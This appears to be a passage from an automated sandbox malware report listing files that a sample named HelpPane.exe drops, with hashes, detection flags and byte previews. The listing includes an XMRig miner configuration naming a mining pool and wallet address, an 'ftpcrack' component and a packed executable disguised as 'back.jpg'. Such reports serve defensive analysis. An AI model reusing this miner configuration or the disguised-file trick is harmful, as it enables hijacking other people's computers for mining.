Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z.$.>.J.>.J.>.J.7...4.J.7...1.J.7...<.J.7...3.J.>.K..J.>.J...J.7...Y.J.7...?.J.7...?.J.Rich>.J.........................PE..L....>CX...........!.....`..........@K.......`...............................p............@.........................pa..L....`..p............................a.......................................W..H...........................................UPX0....................................UPX1.....`.......X..................@...UPX2.........`.......\..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\_socket.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	7.706254752795193
Encrypted:	false
SSDEEP:	384:CCNDRisVUlkycq27U4r0rOc606B8k4gG35aiQjgO6OPjGL2e1ua7aNJawcudoD7P:v7VUcq27Jr0rOmbwE4jGLhohnbcuyD7B
MD5:	BE47363992C7DD90019276D35FA8DA76
SHA1:	CCF7EBBE829DA08EFD95A53D4BA0C0D4938F6169
SHA-256:	BE10254B111713BEF20A13D561DE61CA3C74A34C64DDC5B10825C64AB2C46734
SHA-512:	573F9111535A9A136FCAAA5C1A16C347F7327626768D849513D69C9848406B1002DCC5B8C17A291EF2E6519587533CA806018EE471A39D330F032A9E7E635EA7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......AV2..7\..7\..7\..O..7\..O..7\..O..7\..7]..7\..O..7\..O..7\..O..7\..O..7\.Rich.7\.........................PE..L...X>CX...........!.....P..........0.....................................................@.............................d...................................d...........................................H...........................................UPX0....................................UPX1.....P.......P..................@...UPX2.................T..............@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\_ssl.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	498688
Entropy (8bit):	7.996471896707535
Encrypted:	true
SSDEEP:	12288:FHNz5hZdNGitmdIA8byo3k4Ff9m3fTByPf6So+2RON1jjoS:P3fNTtmd2bkof43fTkR2gH
MD5:	68C3AD86E0A8833C29AD1BE10D3C025D
SHA1:	04488362814B2F3AE07C4E8DF8E45868D48B447F
SHA-256:	C236271B92A0F1D3304337F2E2444107F34D8E26272981F48C47DB347133566C
SHA-512:	BB2819D913033CC26DCD1E5CBF015DACDBF747D29C72BFD41BFE0D74BB77E51A61CF9BE4B67B6348938837125F1D0F80AF0AC33531E00CEA1585535952A22785
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........HFu.)(&.)(&.)(&.Q.&.)(&.Q.&.)(&.Q.&.)(&.)(&.)(&.))&9)(&.Q.&.)(&.Q.&.((&.Q.&.)(&.Q.&.)(&Rich.)(&................PE..L...q>CX...........!.................e....................................................@............................D............................................................................q..H...........................................UPX0....................................UPX1................................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\_win32sysloader.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	4.992693298555373
Encrypted:	false
SSDEEP:	192:t2VnGV7o5QUEZWm6Uk3fvf3X7THIL3YO+8I:tVU5QUEz6hfLTH98
MD5:	B4A567D80CCC08FB1C7FBB765847AFDA
SHA1:	B7FF2C68BA2887AAF5D029F41922E626C72B716D
SHA-256:	DBB0F9C499A710BBC8BCDE4ECC3577A6C9548262D6CE4434ED5A0708CBC787DD
SHA-512:	DDFEC25304BABE2DF55958F512F61AFD9AF88DDA499FE87931D17A9EEBF048449885A06A24BDDBC8604E11F07CED3C2ECE7F89C28290CAB5D1BF3816D22128DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M.oC.............J.............................../........................Rich............PE..L......[...........!......................... ....;..........................`......................................P&..Z...\"..P....@..l....................P....... ..............................8!..@............ ...............................text...`........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...l....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI60722\back.jpg

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	47107
Entropy (8bit):	6.213994198071923
Encrypted:	false
SSDEEP:	768:RDQeAoYo0BrGohy0ZarKZcgRl8+kRGdlS7q3sqqELsLizIdI9e2E:VQJw0BKnuntlkRGAB0ceO
MD5:	C84452F6F4D46DDEC4F8852FA0B1AFD0
SHA1:	CC06C71ABCEFC9B31E3C5ED043427B74A4AD778A
SHA-256:	1DE815D23E82A3A94C42F5E5AC1C5DFC690A585CA495C57D2E4A283AB4008208
SHA-512:	4BB933BB5DED0EB71EBC8ACBC9FF43A2C2EF0DEC87BC85A5E4158A16230C9C1568BF0D555B6E507D2A18ADE52298EF71DF7B9B8BDE0D159609E3FFAE6CCA4E37
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 52%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......]....S......"...8.P....... ...u...0.................................................... .....................................................................................................................................................UPX0..... ..............................UPX1.....P...0...H..................@...UPX2.................J..............@...3.94.UPX!....g.D....bOW...E...0..&../....U..S...........t?........'.........9.r.....t...'.....s.t&...$.....1....$6.].....X[]._V`..u....tG....t$lE_D$.....=..o...."....1......uG.....4....uF1..e.[^]..o.>.f..,.!.+.y..........l...............8./....fp.v..U..$........../...........O/...e..]...l.......#3f.E.f.E......m.._..;.}e.......f.t"............U.1.3-...}..~2.k......!..........7{..+...7..\|...............G.:..S.......... .\|.... ..%+.2..$...e.}......u..,(...l...'lk..dH.&'(ekp.cv/.

C:\Windows\Temp\_MEI60722\bz2.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	35840
Entropy (8bit):	7.816957595202127
Encrypted:	false
SSDEEP:	768:IHCeOgq+kCitCVj5rz2Ya+r9qLYp9R9JoWnbcuyD7UiT:IHXr8CBd9NpfXxnouy8
MD5:	C9C00BC854A39E66B27787D188F9E8D7
SHA1:	21F20CF6C628B529DB4BDB853B679F9BF23590E3
SHA-256:	29520DF660A5BBD704B9106A6650A66E4F5766B904D05F97146668D41DBF5839
SHA-512:	8887B5CA542220CAC04D5A6A22A06F95DB560F4FE0F9A128CEB642ED9716ABCFFBA2146CCE682EB16C4DA3F423649A61904A73C4357D9FDBD5DDF606790199A3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.S.9.=K9.=K9.=K..K:.=K0..K:.=K0..K7.=K0..K;.=K0..K>.=K9.<KS.=K0..K1.=K0..K8.=K0..K8.=KRich9.=K................PE..L...?>CX...........!.................W.......p............................................@..........................p..D....p...............................q.......................................c..H...........................................UPX0....................................UPX1................................@...UPX2.........p......................@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\certifi\cacert.pem

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	284518
Entropy (8bit):	6.05114864026174
Encrypted:	false
SSDEEP:	6144:GriCfLXd1YU58fVuKlnm5plZ0PXCRrcMBbADwYC+MslE:GrdT3YZuz5LwCRrcMije
MD5:	DD2DD543395692705F7DDA0F5E7750FA
SHA1:	40D7CE60393978A29FB0E0B1E849658E48CF7887
SHA-256:	397B833E5ACF89A2709B964401A9ACA68D24B62349B72BBE38684E586AA07A27
SHA-512:	3BA0D6AD8B6838B04FBFDEBAD20EB5544C093BA592B517AA383708A34CE2BD215DB2BF010090251674DBCFD4EDA3C44F770C9FBF314304DE918D7E59E2596CF2
Malicious:	false
Reputation:	unknown
Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Windows\Temp\_MEI60722\config.json

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	4.312597830652666
Encrypted:	false
SSDEEP:	24:pCKENTHgbeZlE1jCAgFuPBdOgNanAOSWSula:UKuTHgbYlUgFu5drNAla
MD5:	42A60033B0CC3D34577AC729E10AB957
SHA1:	9F9E6AB8F51937754639FAE6B4B172025D5D825E
SHA-256:	5106382075DDAD29ECAA71FB572A03BCEFB586F0B1426BD9DE56B8BF1A82AF57
SHA-512:	42E0771378F46DDDAA02E58384A1077DDB43B738CD7F7A971A6889CB98BD169B6FB33EC5E68234981714A8A9A93C6A83259378573C034C32E87E626727B3CAB1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Windows\Temp\_MEI60722\config.json, Author: Joe Security
Reputation:	unknown
Preview:	{. "algo": "cryptonight",. "api": {. "port": 0,. "access-token": null,. "id": null,. "worker-id": null,. "ipv6": false,. "restricted": true. },. "autosave": true,. "av": 0,. "background": true,. "colors": true,. "cpu-affinity": null,. "cpu-priority": null,. "donate-level": 1,. "huge-pages": true,. "hw-aes": null,. "log-file": null,. "max-cpu-usage": 70,. "pools": [. {. "url": "xmr.crypto-pool.fr:3333",. "user": "82njF53q92M2WJXCzMgasqjcLDqU2xSFt7ThkTXNEfwvG1YfJV1cfNBYVPHukzAcKK7g7QHFCoEqTZEYePrM5tmaSRsz4Xq",. "pass": "x",. "rig-id": null,. "nicehash": false,. "keepalive": false,. "variant": -1,. "enabled": true,. "tls": false,. "tls-fingerprint": null. }. ],. "print-time": 60,. "retries": 5,. "retry-pause": 5,. "safe": false,. "threads": [. {.

C:\Windows\Temp\_MEI60722\ftpcrack.exe.manifest

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1345
Entropy (8bit):	5.283640732769631
Encrypted:	false
SSDEEP:	24:2dtn3ZoWglN2v+zg4NnEN4XKDmc0+bLg4fNRme5rcb3S:ch3DgX2+zg4i0KDmJ+bLg4VRmemS
MD5:	B5DEA49B86C5BB5D9CD8D64A09F70065
SHA1:	487EF676EBD244EBC3CF197F70DA7A5E393FB96E
SHA-256:	78B1160F6ADAB34D144AD19A0F4B83F83453F1E18460BBDFBE17AD354B62AF7D
SHA-512:	1B5914F4C52F47A33C57F5F6428482E6766099BF43D4E8616CE4AABC4A917C24B2E0C98C841F0D7E7B8A202F40FF960885535539BF70CC7C7ED8687C7ECE010C
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">.. <assemblyIdentity name="ftpcrack" processorArchitecture="x86" type="win32" version="1.0.0.0"/>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.VC90.CRT" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b" type="win32" version="9.0.30729.6161"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"/>.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity language="*" name="Microsoft.Windows.Common-Controls" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" type="win32" version="6.0.0.0"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"/>.. </dependentAssembly>.. </dependency>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">.. <application>.. <supportedOS Id="{1f676c76-80e

C:\Windows\Temp\_MEI60722\httplib2\cacerts.txt

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135546
Entropy (8bit):	6.039525643754334
Encrypted:	false
SSDEEP:	3072:FVrovvEjVplrqHSdX+zpfQq7ZiyZOF5mdFENAKHn1HtYfei8i31MCSjfpVpKbIcf:3cmHuBfaUFENX3YfEl3plcs+
MD5:	14BA876BA2515A25BBB511F24BF06653
SHA1:	291DCDEE67E880B21FD7001CB8350C3ECEE4CAC8
SHA-256:	2039836A620F956EC094EAAE7C9B41A04C76F31130898B11014D9E83C905F0DE
SHA-512:	5035F82DF06308A14F6626C54382B3AB34B6D664C8394B48F75275F69DCC2B93266D843B51F0B586E5F12FCD70FE3660B5B08AFC20738DF6D8C812592C0D71E4
Malicious:	false
Reputation:	unknown
Preview:	# Issuer: CN=GTE CyberTrust Global Root O=GTE Corporation OU=GTE CyberTrust Solutions, Inc..# Subject: CN=GTE CyberTrust Global Root O=GTE Corporation OU=GTE CyberTrust Solutions, Inc..# Label: "GTE CyberTrust Global Root".# Serial: 421.# MD5 Fingerprint: ca:3d:d3:68:f1:03:5c:d0:32:fa:b8:2b:59:e8:5a:db.# SHA1 Fingerprint: 97:81:79:50:d8:1c:96:70:cc:34:d8:09:cf:79:44:31:36:7e:f4:74.# SHA256 Fingerprint: a5:31:25:18:8d:21:10:aa:96:4b:02:c7:b7:c6:da:32:03:17:08:94:e5:fb:71:ff:fb:66:67:d5:e6:81:0a:36.-----BEGIN CERTIFICATE-----.MIICWjCCAcMCAgGlMA0GCSqGSIb3DQEBBAUAMHUxCzAJBgNVBAYTAlVTMRgwFgYD.VQQKEw9HVEUgQ29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNv.bHV0aW9ucywgSW5jLjEjMCEGA1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJv.b3QwHhcNOTgwODEzMDAyOTAwWhcNMTgwODEzMjM1OTAwWjB1MQswCQYDVQQGEwJV.UzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3liZXJU.cnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0IEds.b2JhbCBSb290MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCVD6C28FCc6HrH.iM3dFw4usJTQGz0

C:\Windows\Temp\_MEI60722\msvcm90.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	225280
Entropy (8bit):	6.034911041879855
Encrypted:	false
SSDEEP:	3072:6yZeocziNzMLSMOYscmLWbAX+dP4Upoh86Goao14JU87/amFYw8fF01OyASLE:PYOMqc8oAXGP4Upoe6fa3/amiX2Oyp
MD5:	D34A527493F39AF4491B3E909DC697CA
SHA1:	AFEE32FCD9CE160680371357A072F58C5F790D48
SHA-256:	7A74DA389FBD10A710C294C2E914DC6F18E05F028F07958A2FA53AC44F0E4B90
SHA-512:	0DABC5455EB02601D7C40A9C49B3ADE750B1118934EF3785FB314FA313437BC02B243571ABA25F1661A69DCEA36838530C12762A2E6602D14A9B03770A82CCA6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;...h...h...h..ah...h1.dh...h..gh...h...h...h.-.h...h...h...h..qh...h..vh...h..`h...h..fh...h..ch...hRich...h........................PE..L.....M...........!.....:..........Z........P....?x.........................0......^.....@......................... 3..4....&..d...............................d...P...............................H...@...............(...........p...H............text...T9.......:.................. ..`.data........P.......>..............@....rsrc................H..............@..@.reloc...#.......$...L..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI60722\msvcp90.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	335184
Entropy (8bit):	6.343962999919931
Encrypted:	false
SSDEEP:	6144:fmIIPLSg4p0t4271NWoSYEMS6VhUgiW6QR7t5183Ooc8SHkC2eQ:fmIeLSgo0S271QoSQhUgiW6QR7t51831
MD5:	92EA2DB0E788894C43753C550216A886
SHA1:	DA8C7A178BA0CA80D321666F5642A7436B640602
SHA-256:	9694756F43B20ABC50F95646C54E9E36CD6EDF8EED3DB846064567399F4E7566
SHA-512:	90E72A68C7267E8D0986A75247AE7B2339E4C2A981D686342B2EF90B1FCF9695B558D0BD5932F7C53524E02CC664B974BA76783FDE919B24EB36795DB3300BA6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........#%..Mv..Mv..Mv.66v..Mv...v..Mv..Lv:.Mv...v..Mv...v..Mv...v..Mv...v..Mv...v..Mv...v..Mv...v..MvRich..Mv........................PE..L.....M...........!................P.... ...0....Hx.........................0............@.........................p4..,....3.......0.......................&......................................()..H...........................................UPX0....................................UPX1......... ......................@....rsrc........0......................@..............................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\msvcr90.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	250192
Entropy (8bit):	7.900323441964523
Encrypted:	false
SSDEEP:	6144:EODM4c99eLswEOva4g4fpgMf4FfIoSNjbZdGJCJLuEyKIqqOmiqsEqmQI0wye/c:EODM1HagYaMf4FAoSNjHmHyyc
MD5:	199D34B03C7D0EB804A6D9869184B8D4
SHA1:	03148854519D0970C1BBDC089D3E8DE1AED61C47
SHA-256:	DF86421E354F817607F2BAFC9188569242FCF9DD564B28F3E2915C86A0BA1F54
SHA-512:	E4269CA993393422A90231DAABD390771A635EEB0817A9D00DCCEF496372BB4B57B615529F26A2E8132BDE825CDACA07D965D207421C02EA6471DA214354361E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................6.........!.R...7.....&.....0.....6.....3...Rich..........PE..L.....M...........!.....@.......0..0f...@........Rx......................................@.........................@....\|.....x....................................................................r..H...........................................UPX0.....0..............................UPX1.....@...@...4..................@....rsrc................8..............@..............................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\netifaces.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	7.145184945732974
Encrypted:	false
SSDEEP:	192:uKqSCMOF44HPPtLm+9a3ozToPmzYUaFaNJhLkwcud2DH9VwGfctH:ubS9s44vPtLR9aUPJ+aNJawcudoD7U
MD5:	C7807680A69196C3EE66C4CFB3E271AC
SHA1:	D3EA74C9E3B810C6A1EE4296B97E20F2F45C9461
SHA-256:	1A6C57AC8031582477B1D3463A65B6EB006EEA704E27C8C4B812B99EA910428D
SHA-512:	A5D893132AD889E98B434DA7FD5CA377AFB1800FD8D3230CCED5E9FDE576FCEC943DD22FA48810BA6D93C510EBAA8AC5A94EC1B9D639FD6C533C5BBD4737CF15
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FL...-...-...-...U...-...U...-...-..J-...U...-...U...-...U...-...U...-..Rich.-..........................PE..L...,.-\...........!.....0.......P...x...`..........................................................................4...P.......4...................................................................p...H...........................................UPX0.....P..............................UPX1.....0...`...&..................@...UPX2.................*..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\perfmon.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	6.948652527580434
Encrypted:	false
SSDEEP:	192:0xeSnTQM3MsUjU+viJBctKiyiLKPfFaNJhLkwcud2DH9VwGfct0XlpoI6J:0xe4R3scJBcMWYdaNJawcudoD7UmlSI
MD5:	EE813500A441B5FFDACD853E95BEE669
SHA1:	7F05F1493380AF3FE08F55524F6FF90C47C0CC4D
SHA-256:	AC491704AF920BE0E503F0243D2D371E230622E213E9F082347B52C0A7B009C2
SHA-512:	060D079A93ADD067EB062D2B1CB9977719BE68AE1223B0219DBB14CC9C6C66FF47D9929945636B577BC7F1BB84D5500B88ACD5F7BF636CC63BD4C88534AF724E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........0...c...c...c..9c...c.gc...c.qc...c.ac...c...c...c.vc...c.`c...c.cc...cRich...c................PE..L...C..[...........!.....0.......`.......p........n.................................................................t...L...P...$.......P...............................................................H...........................................UPX0.....`..............................UPX1.....0...p..."..................@....rsrc................&..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\psutil._psutil_windows.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	7.700665778298437
Encrypted:	false
SSDEEP:	384:3qUURhEUVDrn5EMvG04YMJIoa67+5pGr0qLWMAUm7NFYGz45/+aNJawcudoD7ULt:aUjUXBjPAGHqLm7N/z4dnbcuyD7UL
MD5:	2FC800FCC46A597921C2ED447AEB09AC
SHA1:	72004227E5C60C8460F835A170798AA22861B79E
SHA-256:	2E4AD3D08118DA77C928C4614BFECB34397CFAF53F5D46D7C7E5F1DA3172C1F1
SHA-512:	A17022B364615B45A1873AEA0DE922A2988E4D75A8F4E63ECB9CA7DD46263E684B1F28B82BD77B046BBE2AD03CE65C5DACF98EACCAE861A30F137E0118A87225
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E.6...X...X...X......X......X......X...Y...X......X......X......X.Rich..X.........PE..L...;b.\...........!.....`...................0...............................@.......................................2..\....0...............................2.......................................*..H...........................................UPX0....................................UPX1.....`.......\..................@...UPX2.........0.......`..............@......................................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\pyexpat.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	52736
Entropy (8bit):	7.904524114628073
Encrypted:	false
SSDEEP:	1536:omazZr7ECJ0E6kFg85F/rFi2LU60XZlofDYq0nouy8:9aFr9mE6kF7hrcCU6Qlewout
MD5:	AD560121EFD8E249FC3414200D98F75F
SHA1:	73040F9BC04E733A85DA00E364EF85583F505636
SHA-256:	0BEB3B16F9A11F93137365A1179D2062A414ADABA337BCAC05A083A921775B50
SHA-512:	6DA2B01773DCE658DCFD9219DD8D093F60EAFF669ED600C9A62EFC39FB3E362F051A499FAC85777C1B8F364B1AD2E134E080CAE720FC5477711A7ED7F191A5C7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2.\...\...\......\......\......\......\...]..\......\......\......\.Rich..\.................PE..L...4>CX...........!................Pj....................................................@............................L...................................$.......................................(v..H...........................................UPX0....................................UPX1................................@...UPX2................................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\python27.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	898048
Entropy (8bit):	7.990256946915668
Encrypted:	true
SSDEEP:	24576:I0cNEHSDC9XmwbTV/mv+nQW0mj7IaqtsoejWg3c:jHhmhmI9eo63
MD5:	8C44826A640B3CF0B32B0258C65FEE07
SHA1:	E3F9FE6366D0876BFA8B903B20D2ACF06416F1BC
SHA-256:	FBAD053D962BAC96865AC3372958D697711800FDC46F36C87011BB5E89026614
SHA-512:	884E2C01C088B9AE86D4605FED1CF8E9B17F99CF887EFC5644F4A91959ECD89148CCA3E9FDAA6AB9E8C4DFD2D61DBDFD442A95B13DAB7E5CD027B4782D473355
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#..^g.y.g.y.g.y....~.y.n...l.y.n...i.y.n...e.y.n...l.y.g.x.[.y.n.....y.n...f.y.n...f.y.n...f.y.Richg.y.................PE..L... >CX...........!.....0.......0...Z..@...p...............................+...........@.........................pz.t\|..,y.D....p.,...........................................................f.H...........................................UPX0.....0..............................UPX1.....0...@...(..................@....rsrc........p......,..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\pywintypes27.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	7.425128830518154
Encrypted:	false
SSDEEP:	1536:eTwUerP24SfDRd2TACkwqyfnouy81cSPDuwQ0:eTleODRd2ew/Pout1cSru
MD5:	07B436BFA1C7B4FFC21FB39358158060
SHA1:	7F5A47CDAB9A7D93BBBD204CEDFFCA61D3F80C84
SHA-256:	82C2926CB03A04392FA479801D505E2A387446BCA978FF930177121DB2FDB461
SHA-512:	13EBCB83F478C859CA808003933769B84290E108648B69F33043653263C5B4BD37ED5CA8D521B46A1D9122EB232F7E5D05A25E16F250D5573CF85CD5CDEFB2EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qz.Y5...5...5....Tz.7...+Iy.6...+Io.8.....".4...+I..1.....'.>...5.......+Ih.$...+I~.4...+I}.4...Rich5...................PE..L...:..[...........!.........P............... ....z..........................p.......................................%..PJ..h#....... ..h...................Po..........................................H...........................................UPX0....................................UPX1.............\|..................@....rsrc....P... ...P..................@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\select.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	7.003407892450472
Encrypted:	false
SSDEEP:	192:qhogHS4TaqZXRQKKXYVEvySc3IFaNJhLkwcud2DH9VwGfctX:qhLS4TaqxhfCHc38aNJawcudoD7U
MD5:	57EB00056AC8C38CD4F3153FB9507F13
SHA1:	DDEE8E74FCC81B6301145F27C0F1CCF4B9185E1C
SHA-256:	7B90EC138AC8415D9B747612063D19147FEC2B1E99DE97C3B5636E8CA40B346E
SHA-512:	05F7EF6BD065D7DB3F41DFA95187FA40A14F58FA5D4705F2DF5982DB18EEB6D4E93C473D05932436BF645E76E0B23532867011E92EF953EC247B55648ED9C6EF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i)...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...zRich...z........PE..L...5>CX...........!..... .......P..pq...`................................................@.............................H...................................H.......................................P}..H...........................................UPX0.....P..............................UPX1..... ...`......................@...UPX2................."..............@..............................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\servicemanager.pyd

